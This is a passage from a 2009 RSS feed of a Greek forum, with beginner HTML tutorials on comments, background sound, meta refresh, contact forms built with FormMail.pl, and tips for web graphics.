(π.χ. μια υπενθύμιση του τύπου: "εδώ να βάλω τη φωτογραφία του Κώστα"). Θεωρητικά αρκεί να βάλω μια οδηγία του τύπου: &lt;εδώ να βάλω τη φωτογραφία του Κώστα&gt; (δεν ακολουθούμε την πρακτική του REM που έχουμε στις γλώσσες προγραμματισμού). Ωστόσο αυτό δεν είναι πολύ βολικό γιατί μπορεί να χαθεί μέσα στον κώδικα και να μην βρίσκεται εύκολα. Γι' αυτό συνήθως ακολουθούμε την ακόλουθη πρακτική: <br /><br />&lt!------------------------------εδώ να βάλω τη φωτογραφία του Κώστα&gt; <br /><br />Όπως βλέπετε το θαυμαστικό και τα διαστήματα κάνουν την οδηγία να ξεχωρίζει και γι' αυτό μπορούμε να τη βρούμε πιο εύκολα μέσα στον κώδικα. Μπορύμε ακόμη να κάνουμε και αναζητήσεις (find) με το !---- που δεν χρησιμοποιείται πουθενά αλλού. Έτσι θα βρίσκουμε ακόμη πιο εύκολα τα σχολιά μας. &#65279;]]></description>
		<pubDate>Tue, 09 Jun 2009 01:56:18 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=872</guid>
	</item>
	<item>
		<title>Πώς κάνουμε μια σελίδα να παίζει ήχο</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=871</link>
		<description><![CDATA[Για να κάνουμε μια σελίδα να παίζει ήχο αμέσως μόλις φορτωθεί στον browser θα πρέπει να χρησιμοποιήσουμε την οδηγία BGSOUND. Η σύνταξή της είναι: <br /><b>bgsound src="file.wav" loop="1"</b> <br /><br />Στην παραπάνω οδηγία file.wav είναι το όνομα του αρχείου. Loop=1 σημαίνει πως το ηχητικό κομάτι θα παιχτεί μόνο μια φορά. <br /><br />Η τοποθετείται μέσα στην οδηγία HEAD μετά τον τίτλο. Για παράδειγμα: <br /><br /><b>&lt;head&gt;&lt;title&gt;ο τίτλος&lt;/title&gt;&lt;bgsound src="file.wav" loop="1"&gt;&lt;/head&gt;&lt;body&gt;... </b><br /><br /><b><u>Προσοχή!</u></b> Μη ξεχνάτε πως υπάρχουν πολλά είδη αρχείων ήχου. Το PC του επισκέπτη της σελίδας θα μπορέσει να παίξει το αρχείο μόνο αν έχει κάρτα ήχου, ηχεία και το κατάλληλο λογισμικό. &#65279;]]></description>
		<pubDate>Tue, 09 Jun 2009 01:45:23 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=871</guid>
	</item>
	<item>
		<title>Πώς κάνουμε μια σελίδα να καλεί κατά τακτά χρονικά διαστήματα τον εαυτό της (refresh)</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=870</link>
		<description><![CDATA[Πολλές φορές μια σελίδα αλλάζει πάρα πολύ συχνά (π.χ. κάθε μερικά λεπτά). Δυστυχώς, ο μόνος τρόπος για να δει ο χρήστης αν η σελίδα έχει αλλάξει από την τελευταία φορά που την κάλεσε είναι να κάνει Reload. Μόνο έτσι εξασφαλίζει ότι η έκδοση που βλέπει είναι η πιο πρόσφατη. <br />Αν όμως η σελίδα αλλάζει συνέχεια και δεν σας αρέσει η προοπτική να κάθεται ο χρήστης μπροστά στο pc του και να κάνει συνέχεια κλικ στο Reload μπορείτε να κάνετε τη σελίδα να ανανεώνεται (να κάνει refresh) μόνη της. <br /><br />Για να το επιτύχουμε αυτό χρησιμοποιούμε την παρακάτω οδηγία: <br /><br />&lt;META HTTP-EQUIV="refresh" CONTENT="5; URL=http://host.gr/directory/filename.htm"&gt; <br /><br />Όπου CONTENT="5; ο χρόνος που μεσολαβεί μεταξύ δύο refresh (στο συγκεκριμένο παράδειγμα η σελίδα κάνει αυτόματα refresh κάθε 5 δευτερόλεπτα). <br /><br />Όπως όλες οι meta tags, η οδηγία αυτή πρέπει να τοποθετηθεί μέσα στο HEAD και αμέσως μετά τον TITLE. Για παράδειγμα η συνολική διατύπωση θα είναι: <br /><br />&lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;Ο τίτλος της σελίδας&lt;/TITLE&gt;&lt;META HTTP-EQUIV="refresh" CONTENT="5; URL=http://host.gr/directory/filename.htm"&gt;&lt;/HEAD&gt;&lt;BODY&gt;... <br /><br />Η οδηγία αυτή δεν είναι χρήσιμη μόνο σε όσους κατασκευάζουν Web σελίδες. Μερικές φορές μπορεί να αποδειχθεί πολύ βολική και σε όποιους θέλουν να φορτώνουν αυτόματα σελίδες που βλέπουν από το Wen. Στις δημοτικές εκλογές του Οκτωβρίου 1998 ένα μέλος της ΕΕΕΙ, που προτιμάει να παραμείνει ανώνυμο, είχε κάνει την παρακάτω εφαρμογή: <br /><br />Δημιούργησε μια web σελίδα με 2 frames. Το πάνω frame το έκανε όσο πιο μικρό γινόταν ενώ στο κάτω frame έβαλε τη σελίδα της Δέλτα Πληροφορικής που είχε τα αποτελέσματα. Στη σελίδα που καλούσε τα δύο frames έβαλε την παραπάνω οδηγία και στη συνέχεια τη φόρτωσε locally (από το σκληρό δίσκο) στο browser του. <br /><br />Το αποτέλεσμα ήταν η σελίδα με το frame να κάνει refresh κάθε Χ λεπτά. Κάνοντας όμως refresh, έκανε refresh και στα παράθυρα που την αποτελούσαν. Φόρτωνε λοιπόν αυτόματα και τη σελίδα με τα αποτελέσματα. &#65279; ]]></description>
		<pubDate>Tue, 09 Jun 2009 01:44:12 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=870</guid>
	</item>
	<item>
		<title>Πώς δημιουργούμε μια φόρμα επικοινωνίας</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=868</link>
		<description><![CDATA[Για να δημιουργήσουμε μια φόρμα στην οποία θα γράφουν σχόλια ή παρατηρήσεις οι επισκέπτες των σελίδων μας, χρειαζόμαστε την οδηγία &lt;FORM&gt; η λειτουργία της οποίας ρυθμίζεται από τις παραμέτρους METHOD (παίρνει τις τιμές GET και POST) και ACTION. <br />Η παράμετρος ACTION καλεί ένα CGI script, με άλλα λόγια ένα προγραμματάκι (τεχνικά δεν είναι πρόγραμμα, απλώς μια ακολουθία εντολών) που θα φροντίσει για την διαχείριση των δεδομένων που θα δώσει ο χρήστης. <br /><br />Η παράμετρος METHOD, καθορίζει με ποιο τρόπο θα λάβει τα δεδομένα το CGI script. Όταν έχει την τιμή GET, τότε τα περιεχόμενα της φόρμας θα προστεθούν στο τέλος του URL που θα λάβει το CGI script. Με την τιμή POST το CGI script θα λάβει ξεχωριστά τα δεδομένα από το URL το οποίο του τα αποστέλλει (το URL χρειάζεται διότι όπως θα δούμε ένα CGI script μπορεί να εξυπηρετεί πολλές φόρμες, άρα πρέπει να γνωρίζει ποια του στέλνει τα δεδομένα που διαχειρίζεται). Συνήθως χρησιμοποιούμε την τιμή POST διότι δεν έχει περιορισμούς στην ποσότητα δεδομένων που θα δώσει ο χρήστης της φόρμας. Η GET έχει κάποιους περιορισμούς και σε μεγάλες ποσότητες δεδομένων, μπορεί κάποια από αυτά να χαθούν. Επίσης, οι διαχειριστές υπολογιστικών συστημάτων την αποφεύγουν διότι έχει αποδειχθεί ιδιαίτερα ευάλωτη σε επιθέσεις hackers. <br /><br />Με βάση τα παραπάνω η &lt;FORM&gt; συντάσσεται ως εξής: <br /><br />&lt;FORM METHOD=POST ή GET ACTION="http://διεύθυνση κόμβου/directory/όνομα φόρμας"&gt;...&lt;/FORM&gt; <br /><br />Στα παρακάτω παραδείγματα θα χρησιμοποιήσουμε ένα CGI script με το όνομα post-query που βρίσκεται στην διεύθυνση <a href="http://www.mcp.com/cgi-bin/post-query " target="_blank">http://www.mcp.com/cgi-bin/post-query </a><br /><br />ΣΥΜΒΟΥΛΗ: Ο κόμβος στον οποίο θα τοποθετήσετε τις σελίδες σας, έχει μια σειρά από CGI scripts. Φροντίστε να μάθετε ποια είναι αυτά διότι αν και μπορείτε να χρησιμοποιήσετε scripts και από άλλους κόμβους (όπως κάνουμε τώρα) θα είναι πολύ ταχύτερη η λειτουργία αν χρησιμοποιήσετε κάποιο που βρίσκεται στον ίδιο κόμβο. <br /><br />Παράδειγμα: <br /><br />&lt;FORM METHOD=POST ACTION="http://www.mcp.com/cgi-bin/post-query"&gt;...&lt;/FORM&gt; <br /><br />Είδαμε το πλαίσιο μέσα στο οποίο δημιουργείται μια φόρμα. Για να δημιουργήσουμε τους χώρους στους οποίους θα τοποθετήσει τα δεδομένα του ο χρήστης χρησιμοποιούμε μια άλλη οδηγία, την &lt;INPUT&gt;. <br /><br /><b><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->&lt;INPUT&gt; <!--sizec--></span><!--/sizec--></b><br /><br />Καθορίζει τους χώρους στους οποίους θα τοποθετήσει τα δεδομένα του ο χρήστης. Λειτουργεί με τις παραμέτρους TYPE ή/και NAME. <br /><br />Η TYPE καθορίζει το είδος των δεδομένων που θα πάρει η φόρμα από τον χρήστη. Αν δεν υπάρχει, τότε θεωρείται πως έχει την τιμή text (TYPE="text") που είναι η default (δηλαδή τα δεδομένα που εισάγονται είναι σε μορφή κειμένου. <br /><br />Η NAME καθορίζει το όνομα (λεζάντα) που δίδεται στο πεδίο αυτό και το CGI script μας δίνει το όνομα δίπλα σε κάθε τιμή. Π.χ. αν ο χρήστης θα γράψει το επάγγελμά του τότε μπορεί να δώσουμε στην NAME το όνομα profession έτσι ώστε τα δεδομένα που θα λαμβάνουμε να παρουσιάζονται με μορφή του τύπου profession = economist Αν δεν υπήρχε η NAME θα λαμβάναμε μόνο όσα έγραψε ο χρήστης στο INPUT χωρίς καμία πληροφορία για τη σημασία τους. <br /><br />Για παράδειγμα αν ζητούσαμε το βάρος και την ηλικία όσων συμπληρώνουν τη φόρμα θα λαμβάναμε μόνα τους τα νούμερα 59 και 55 χωρίς να γνωρίζουμε αν ο χρήστης είναι 55 ετών με βάρος 59 κιλά ή 59 ετών με βάρος 55 κιλά. Αν όμως έχουμε χρησιμοποιήσει την NAME θα λάβουμε: <br /><br />Weight: 59 <br /><br />Age: 55 <br /><br />όπου Weight και Age είναι οι λεζάντες (NAME) των INPUT πεδίων. <br /><br />Με την υιοθέτηση της NAME, το παραπάνω παράδειγμα συντάσεται ως εξής: <br /><br />&lt;FORM METHOD=POST ACTION="http://www.mcp.com/cgi-bin/post-query"&gt; &lt;P&gt; Give us your name: &lt;INPUT NAME="theName"&gt; &lt;/FORM&gt; <br /><br />Φυσικά εννοείται πως η οδηγία &lt;P&gt; δεν είναι απαραίτητη, απλώς την χρησιμοποιούμε για καλύτερο στήσιμο της σελίδας. <br /><br />Αυτό που μένει τώρα είναι να δώσουμε στην χρήση την δυνατότητα να μας στείλει τα στοιχεία που μόλις συμπλήρωσε. Αυτό θα γίνει πάλι με την &lt;INPUT&gt; ως εξής: <br />&lt;INPUT TYPE="submit"&gt; με την οποία λέμε στον browser να δημιουργήσει το εικονίδιο υποβολής των δεδομένων της φόρμας. <br /><br />Έτσι το παράδειγμά μας γίνεται: <br /><br />&lt;FORM METHOD=POST ACTION="http://www.mcp.com/cgi-bin/post-query"&gt; <br />&lt;P&gt; Give us your name: &lt;INPUT NAME="theName"&gt;&lt;P&gt;&lt;INPUT TYPE="submit"&gt; <br />&lt;/FORM&gt; <br /><br /><b><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->RESET <!--sizec--></span><!--/sizec--></b><br /><br />Πολλές φορές τυχαίνει ο χρήστης που συμπλήρωσε μια φόρμα, να θέλει να ακυρώσει όλες τις επιλογές του για να τις αντικαταστήσει με άλλες. Αυτό μπορεί να γίνει με την τιμή RESET της παραμέτρου TYPE που δημιουργεί ένα άλλο πλήκτρο επιλογής. Π.χ. <br /><br />&lt;INPUT TYPE="RESET" VALUE="Ακύρωση Επιλογών"&gt; <br /><br />ΑΛΛΕΣ ΠΑΡΑΜΕΤΡΟΙ ΣΧΕΤΙΚΑ ΜΕ ΤΙΣ ΦΟΡΜΕΣ <br /><br /><b><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->VALUE <!--sizec--></span><!--/sizec--></b><br /><br />Με την παράμετρο VALUE, μπορούμε να αλλάξουμε το κείμενο του εικονιδίου υποβολής των δεδομένων της φόρμας. Π.χ. αν θέλουμε αντί για Submit Query να γράφει Υποβολή θα αλλάξουμε την οδηγία σε: <br /><br />&lt;INPUT TYPE="submit" VALUE="Υποβολή"&gt; <br /><br /><b><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->TEXT <!--sizec--></span><!--/sizec--></b><br /><br />Μπορούμε να δώσουμε στον χρήστη την δυνατότητα να γράψει κάποιο μικρό κείμενο που θα συμπεριληφθεί στην φόρμα. <br /><br />Αν θέλουμε το κείμενο να βρίσκεται όλο σε μια γραμμή, τότε θα χρησιμοποιήσουμε την TEXT ως εξής: &lt;INPUT TYPE="text" NAME="X"&gt; <br />όπου X είναι το όνομα που θα δώσουμε στο πεδίο αυτό. <br /><br />Το μήκος της γραμμής μπορεί να είναι όσο μεγάλο θέλουμε (αν δεν χωράει θα σκρολλάρει κατά το πλάτος της οθόνης), αλλά για πρακτικούς λόγους καλό είναι να το περιορίζουμε στους 50 χαρακτήρες. Η default τιμή είναι 20 χαρακτήρες αλλά μπορεί να αλλάξει με την παράμετρο SIZE π.χ. <br /><br />&lt;INPUT TYPE="text" NAME="X" SIZE="50"&gt; <br /><br />Αντίστοιχα λειτουργεί και η παράμετρος MAXLENGTH. Με την SIZE καθορίζουμε ότι θα λάβουμε τους πρώτους X χαρακτήρες που θα γράψει ο χρήστης αλλά δεν τον εμποδίζουμε να γράψει όσους θέλει (που θα χαθούν). Η MAXLENGHT χρησιμοποιείται για να μην μπορεί να γράψει περισσότερους από τους επιτρεπόμενους. Π.χ. <br /><br />&lt;INPUT TYPE="text" NAME="X" SIZE="5" MAXLENGTH="5"&gt; <br /><br /><b><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->PASSWORD <!--sizec--></span><!--/sizec--></b><br /><br />Η τιμή PASSWORD της παραμέτρου TYPE χρησιμοποιείται για να απεικονίζει στην οθόνη αστερίσκους ή σφαιρίδια αντί για τους χαρακτήρες που πληκτρολογεί ο χρήστης. Π.χ. &lt;INPUT TYPE="password" NAME="XYZ"&gt; <br /><br />ΠΡΟΣΟΧΗ! Το να αποστέλλονται passwords με αυτό τον τρόπο δεν είναι ασφαλές. Μπορεί στην οθόνη να μην εμφανίζεται τι γράφει ο χρήστης αλλά αυτά που έγραψε αποστέλλονται στο cgi script για επεξεργασία σε text μορφή. <br /><br /><b><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->RADIO <!--sizec--></span><!--/sizec--></b><br /><br />Πιθανώς να χρειάζεται να δημιουργήσουμε μια φόρμα που ο χρήστης θα επιλέγει μεταξύ κάποιων προκαθορισμένων τιμών για αυτά που θα συμπεριληφθούν στην φόρμα που συμπληρώνει (multiple choice). Ένας τρόπος να γίνει αυτό είναι με τα λεγόμενα RADIO BUTTONS. Για να το επιτύχουμε αυτό συνήθως χρησιμοποιούμε μια λίστα όπου TYPE="radio" Name="όποιο θέλουμε αλλά το ίδιο για όλα" Value="η τιμή κάθε επιλογής" Π.χ. <br /><br />&lt;OL&gt; <br />&lt;LI&gt;&lt;INPUT TYPE="radio" NAME="country" Value="USA"&gt;USA<br />&lt;LI&gt;&lt;INPUT TYPE="radio" NAME="country" Value="CANADA"&gt;CANADA<br />&lt;LI&gt;&lt;INPUT TYPE="radio" NAME="country" Value="UK"&gt;UK<br />&lt;LI&gt;&lt;INPUT TYPE="radio" NAME="country" Value="GREECE"&gt;GREECE<br />&lt;/OL&gt; <br /><br />Φυσικά εννοείται πως αφού οι επιλογές είναι σε μορφή λίστας μπορούμε να έχουμε radio buttons σε λίστες που βρίσκονται μέσα σε άλλες λίστες με radio buttons. <br /><br />Σημείωση: Τα RADIO BUTTONS μπορούν να έχουν όποια διάταξη θέλουμε και δεν είναι υποχρεωτικό να συντάσσονται σε μορφή λίστας. <br /><br /><b><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->CHECKED <!--sizec--></span><!--/sizec--></b><br /><br />Εξ' ορισμού (by default) όλες οι τιμές των RADIO BUTTONS είναι κενές. Μπορούμε όμως να ορίσουμε κάποια σαν προεπιλεγμένη και να αποφασίσει ο χρήστης αν θα την κρατήσει ή αν θα την αλλάξει. Π.χ. στο παραπάνω παράδειγμα αν θέλουμε σαν προεπιλεγμένη την Ελλάδα η οδηγία θα είναι: <br /><br />&lt;LI&gt;&lt;INPUT TYPE="radio" NAME="country" Value="GREECE" CHECKED&gt;GREECE&lt;BR&gt; <br /><br /><b><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->CHECKBOX <!--sizec--></span><!--/sizec--></b><br /><br />Στα RADIO BUTTONS μπορούμε να επιλέξουμε μόνο μια τιμή από την λίστα τιμών που έχουμε στην διάθεσή μας. Αν θέλουμε να επιλέγονται περισσότερες τιμές, τότε χρησιμοποιούμε την τιμή CHECKBOX στην παράμετρο TYPE. Π.χ. <br /><br />&lt;UL&gt; <br />&lt;LI&gt;&lt;INPUT TYPE="CHECKBOX" NAME="USA" Value="chosen"&gt;USA<br />&lt;LI&gt;&lt;INPUT TYPE="CHECKBOX" NAME="CANADA" Value="chosen"&gt;CANADA<br />&lt;LI&gt;&lt;INPUT TYPE="CHECKBOX" NAME="UK" Value="chosen"&gt;UK<br />&lt;LI&gt;&lt;INPUT TYPE="CHECKBOX" NAME="GREECE" Value="chosen" CHECKED&gt;GREECE<br />&lt;/UL&gt; <br /><br />Όπως φαίνεται από το παράδειγμα, μπορούμε να χρησιμοποιήσουμε και εδώ την CHECKED όπως κάναμε στα RADIO BUTTONS. Αντίθετα όμως από τα RADIO BUTTONS η NAME δεν έχει την ίδια τιμή σε όλα ενώ έχουμε την ίδια τιμή στην VALUE (=chosen). Μπορούμε να ακολουθήσουμε το ίδιο σχήμα με τα RADIO BUTTONS ( ίδιο NAME και διαφορετικό VALUE) αλλά επειδή εδώ έχουμε δυνατότητα πολλαπλών επιλογών δεν θα ήταν βολικό να έχουμε διαφορετικές τιμές με το ίδιο όνομα πεδίου (NAME). <br /><br />ΠΑΡΑΤΗΡΗΣΗ: Τα RADIO BUTTONS και τα CHECK BOXES μπορούν να βρίσκονται μέσα σε κάθε είδους λίστες (αριθμημένες και μη). <br /><br /><b><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->&lt;SELECT&gt;...&lt;/SELECT&gt;<!--sizec--></span><!--/sizec--></b> <br /><br />Η οδηγία αυτή δημιουργεί ένα pull down menu επιλογών από τις οποίες ο χρήστης μπορεί να επιλέξει μια. Αυτή θα σταλεί στο cgi script μαζί με την τιμή της NAME. Π.χ. <br /><br />&lt;P&gt;SELECT A COUNTRY: <br />&lt;SELECT NAME="COUNTRY"&gt; <br />&lt;OPTION&gt;GREECE<br />&lt;OPTION&gt;FRANCE<br />&lt;OPTION&gt;GERMANY<br />&lt;OPTION&gt;ITALY<br />&lt;OPTION&gt;SPAIN<br />&lt;OPTION&gt;IRELAND<br />&lt;OPTION&gt;FINLAND<br />&lt;/SELECT&gt; <br /><br />Οι επιλογές εμφανίζονται στο παράθυρο που δημιουργείται με την σειρά που τις καταγράψαμε παραπάνω. <br /><br />Αν το επιθυμούμε, μπορούμε η τιμή που θα λάβουμε από το cgi script να είναι διαφορετική από αυτή που γράφεται στο OPTION. Αυτό γίνεται με την παράμετρο VALUE. Π.χ. &lt;OPTION VALUE="HELLAS"&gt;GREECE <br /><br />Η επιλογή για την χρήστη θα είναι GREECE αλλά η τιμή που θα λάβει ο διαχειριστής της φόρμας από το cgi script θα είναι HELLAS. <br /><br />’λλες τιμές της &lt;SELECT&gt; η MULTIPLE και η SIZE. Η MULTIPLE επιτρέπει στον χρήστη να επιλέγει περισσότερες από μια τιμές (αλλά δεν είναι λειτουργική και καλό είναι να αποφεύγεται). Η SIZE καθορίζει το μέγεθος του παραθύρου (πόσες γραμμές θα εμφανίζονται). Π.χ. <br /><br />&lt;SELECT NAME="COUNTRY" MULTIPLE SIZE="5"&gt; <br /><br />ΠΡΟΣΟΧΗ! Σε πολλούς browsers η SIZE θα εμφανίσει μια σειρά λιγότερη από την τιμή της, π.χ. SIZE="5 σημαίνει πως θα εμφανιστούν 4 επιλογές. <br /><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo--><b><br />&lt;TEXTAREA&gt;...&lt;/TEXTAREA&gt;</b><!--sizec--></span><!--/sizec--> <br /><br />Αν θέλουμε ο χρήστης μια φόρμας να συμπεριλάβει αρκετό κείμενο σε αυτήν (περισσότερο από μια γραμμή), τότε χρησιμοποιούμε την &lt;TEXTAREA&gt;. Οι παράμετροί της είναι NAME, ROWS, COLS. <br /><br />NAME Η γνωστή από τα προηγούμενα <br /><br />ROWS Ο αριθμός των γραμμών που θα υπάρχουν διαθέσιμες <br /><br />COLS Ο αριθμός των στηλών (χαρακτήρων ανά γραμμή) που θα είναι διαθέσιμες. <br /><br />Το κείμενο που θα γραφτεί θα είναι συνήθως με γράμματα courier (κάτι που δημιουργεί αρκετά προβλήματα στα Ελληνικά). <br /><br />Π.χ. &lt;TEXTAREA NAME="dokimh" ROWS="10" COLS="45"&gt;Γράψτε εδώ τις παρατηρήσεις ή τα σχόλιά σας:&lt;/TEXTAREA&gt; <br /><br />Στο παράδειγμα αυτό έχουμε 10 γραμμές 45 χαρακτήρων η κάθε μια και τον τίτλο: "Γράψτε εδώ τις παρατηρήσεις ή τα σχόλιά σας:" <br /><br /><b><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->HIDDEN <!--sizec--></span><!--/sizec--></b><br /><br />Τιμή της παραμέτρου TYPE. Χρησιμοποιείται για να δώσουμε μια εντολή στο cgi script που δεν θέλουμε (συνήθως διότι δεν χρειάζεται) να είναι ορατή στους χρήστες της φόρμας. Η σύνταξή της είναι &lt;INPUT TYPE="HIDDEN" NAME="xyz" VALUE="ABC"&gt; <br /><br /><b><u><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->ΔΙΑΧΕΙΡΙΣΗ ΤΩΝ ΑΠΟΤΕΛΕΣΜΑΤΩΝ ΜΙΑΣ ΦΟΡΜΑΣ<!--sizec--></span><!--/sizec--></u></b> <br /><br />Υπάρχουν διάφοροι τρόποι να αποκτά κανείς τα αποτελέσματα μιας φόρμας που κατασκευάζει ανάλογα με το cgi script που χρησιμοποιεί. Ένας από τους πιο συνηθισμένους είναι να τα λαμβάνει με email. Ένα τέτοιο παράδειγμα έχουμε στην παρακάτω περίπτωση όπου χρησιμοποιούμε το script FormMail.pl: <br /><br />&lt;P&gt;&lt;FORM METHOD=POST ACTION="http://www.eexi.gr/cgi-bin/FormMail.pl"&gt; &lt;P&gt; Γράψτε το όνομά σας: &lt;INPUT NAME="theName"&gt;&lt;P&gt; &lt;UL&gt; <br />&lt;LI&gt;&lt;INPUT TYPE="CHECKBOX" NAME="USA" Value="chosen"&gt;USA<br />&lt;LI&gt;&lt;INPUT TYPE="CHECKBOX" NAME="CANADA" Value="chosen"&gt;CANADA<br />&lt;LI&gt;&lt;INPUT TYPE="CHECKBOX" NAME="UK" Value="chosen"&gt;UK<br />&lt;LI&gt;&lt;INPUT TYPE="CHECKBOX" NAME="GREECE" Value="chosen" CHECKED&gt;GREECE<br />&lt;/UL&gt;&lt;p&gt;&lt;TEXTAREA NAME="dokimh" ROWS="10" COLS="45"&gt;Γράψτε εδώ τις παρατηρήσεις ή τα σχόλιά σας:&lt;/TEXTAREA&gt;&lt;P&gt;&lt;INPUT TYPE="hidden" NAME="recipient" VALUE="gepiti@eexi.gr"&gt;&lt;INPUT TYPE="submit" VALUE="Υποβολή"&gt;&lt;P&gt;&lt;INPUT TYPE="RESET" VALUE="Ακύρωση Επιλογών"&gt; <br />&lt;/FORM&gt; <br /><br /><b>ΠΡΟΣΟΧΗ! Αν το cgi script βρίσκεται σε UNIX πρέπει να λάβετε υπ' όψιν σας ότι το UNIX είναι case sensitive. Τα κεφαλαία είναι διαφορετικά από τα μικρά. ’λλο το FormMail.pl και άλλο το formmail.pl (που δεν υπάρχει και φυσικά θα κάνει την φόρμα σας άχρηστη). <br /><br /></b><b><u>Σημείωση:</u></b> Όταν κλείνει η οδηγία FORM (&lt;/FORM&gt;) τότε ο browser αφήνει στο σημείο αυτό μια γραμμή κενή και ξεκινά την υπόλοιπη σελίδα από νέα παράγραφο (ακόμη και αν εμείς δεν έχουμε δηλώσει &lt;P&gt;) &#65279;]]></description>
		<pubDate>Tue, 09 Jun 2009 01:42:22 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=868</guid>
	</item>
	<item>
		<title>Γενικές Συμβουλές για την Χρήση των Γραφικών</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=866</link>
		<description><![CDATA[<b><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->Μην χρησιμοποιείτε μεγάλα γραφικά<!--sizec--></span><!--/sizec--></b><br /><br />Το πιο σημαντικό πράγμα που πρέπει να έχετε υπ'όψιν σας, είναι φυσικά να μην βάζετε μεγάλα γραφικά στις σελίδες σας. Οι χρήστες του Web ψηφίζουν με το ποντίκι τους και όσο περισσότερο τους αφήνετε να περιμένουν τόσο αυξάνονται οι πιθανότητες να βαρεθούν και να σας εγκαταλείψουν. Προσπαθήστε η home page σας να μην είναι μεγαλύτερη από 60Kbytes (μέγεθος αρχείου HTML + μέγεθος αρχείων γραφικών) και καμία άλλη σελίδα σας να μην είναι μεγαλύτερη από 30 Kbytes. Είναι αλήθεια ότι με αυτό τον περιορισμό οι σελίδες δεν θα φαίνονται τόσο εντυπωσιακές. Θα είναι όμως πολύ πιο λειτουργικές. <br /><br /><br /><br />Σημείωση: Φυσικά υπάρχουν εξαιρέσεις στον κανόνα. <b>Αποφύγετε όμως τον πειρασμό να κάνετε τις εξαιρέσεις κανόνα</b> εκτός αν δεν σας ενδιαφέρουν οι επισκέπτες αλλά μόνο το πως να ευχαριστήσετε τον προϊστάμενο/χρηματοδότη σας δείχοντάς του ένα εντυπωσιακό site. <br /><br /><br /><br /><br /><b><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->Ορίζετε πάντοτε width & height<!--sizec--></span><!--/sizec--></b><br /><br />Κάθε φορά που τοποθετείτε μια εικόνα πρέπει να ορίζετε και τις διαστάσεις της. Αν και η απλή οδηγία &lt;img src="image.gif"&gt; λειτουργεί χωρίς πρόβλημα, ο browser θα είναι πολύ πιο γρήγορος να δώσουμε την &lt;img src="image.gif" WIDTH="96" HEIGHT="32"&gt;. Αυτό συμβαίνει διότι ο browser εμφανίζει μεν πρώτα το κείμενο και μετά τα γραφικά, αλλά αυτό γίνεται μόνο αφού έχει διαπιστώσει τι μέγεθος έχουν τα αρχεία των γραφικών (για να ξέρει πως θα σχεδιάσει την σελίδα). Αν λοιπόν του δώσουμε από πριν τις διαστάσεις της εικόνας σε pixels θα εμφανίσει το κείμενο σχεδόν αμέσως (ο όγκος του είναι μικρός και έρχεται πολύ γρήγορα). Έτσι ο αναγνώστης της σελίδας θα έχει κάτι να κάνει μέχρι να έρθουν οι εικόνες. Αν όμως δεν ορίσουμε το πλάτος (width) και το ύψος (heigh), ο browser θα περιμένει πρώτα να κατέβει αρκετό μέρος της εικόνας για να προσδιορίσει τις διαστάσεις της και μετά θα δείξει στον επισκέπτη το κείμενο. <br /><br /><br /><br />Για να βρείτε τις διαστάσεις μια εικόνας αρκεί να την ανοίξετε με ένα πρόγραμμα γραφικών και να δείτε το πλάτος και το ύψος της σε pixels (π.χ. στο Paintshop Pro επιλέγουμε View και μετά Image Information). <br /><br /><br /><br /><br /><b><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->Μην δημιουργείτε γραφικά με ανάλυση μεγαλύτερη από 72 dpi<!--sizec--></span><!--/sizec--></b><br /><br />Οι οθόνες των Η/Υ δεν μπορούν να εμφανίσουν γραφικά με ανάλυση μεγαλύτερη από 72 dots (pixels) per inch. Αν τα γραφικά σας έχουν μεγαλύτερη ανάλυση θα είναι πιο βαριά (μεγαλύτερο μέγεθος αρχείου) χωρίς όμως να φαίνονται καλύτερα. <br /><br /><br /><br /><br /><b><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->Χρησιμοποιήστε λιγότερα χρώματα<!--sizec--></span><!--/sizec--></b><br /><br />Ο προκαθορισμένος (default) αριθμός χρωμάτων για ένα αρχείο gif είναι 256. Αν όμως το γραφικό σας έχει λιγότερα χρώματα (π.χ. 8 ή 2), αποθηκεύστε το σε χαμηλότερη ανάλυση για να κερδίσετε όγκο. <br /><br /><br /><br /><br /><b><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->Σώστε τα gif αρχεία σας σε μορφή 89A (interlaced)<!--sizec--></span><!--/sizec--></b><br />Με τον τρόπο αυτό θα φορτώνονται σιγά σιγά στην οθόνη και δεν θα χρειάζεται να έρθει όλο το αρχείο για να]]></description>
		<pubDate>Tue, 09 Jun 2009 01:36:49 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=866</guid>
	</item>
	<item>
		<title>Πώς βρίσκουμε τον 16εξαδικό κωδικό ενός χρώματος</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=865</link>
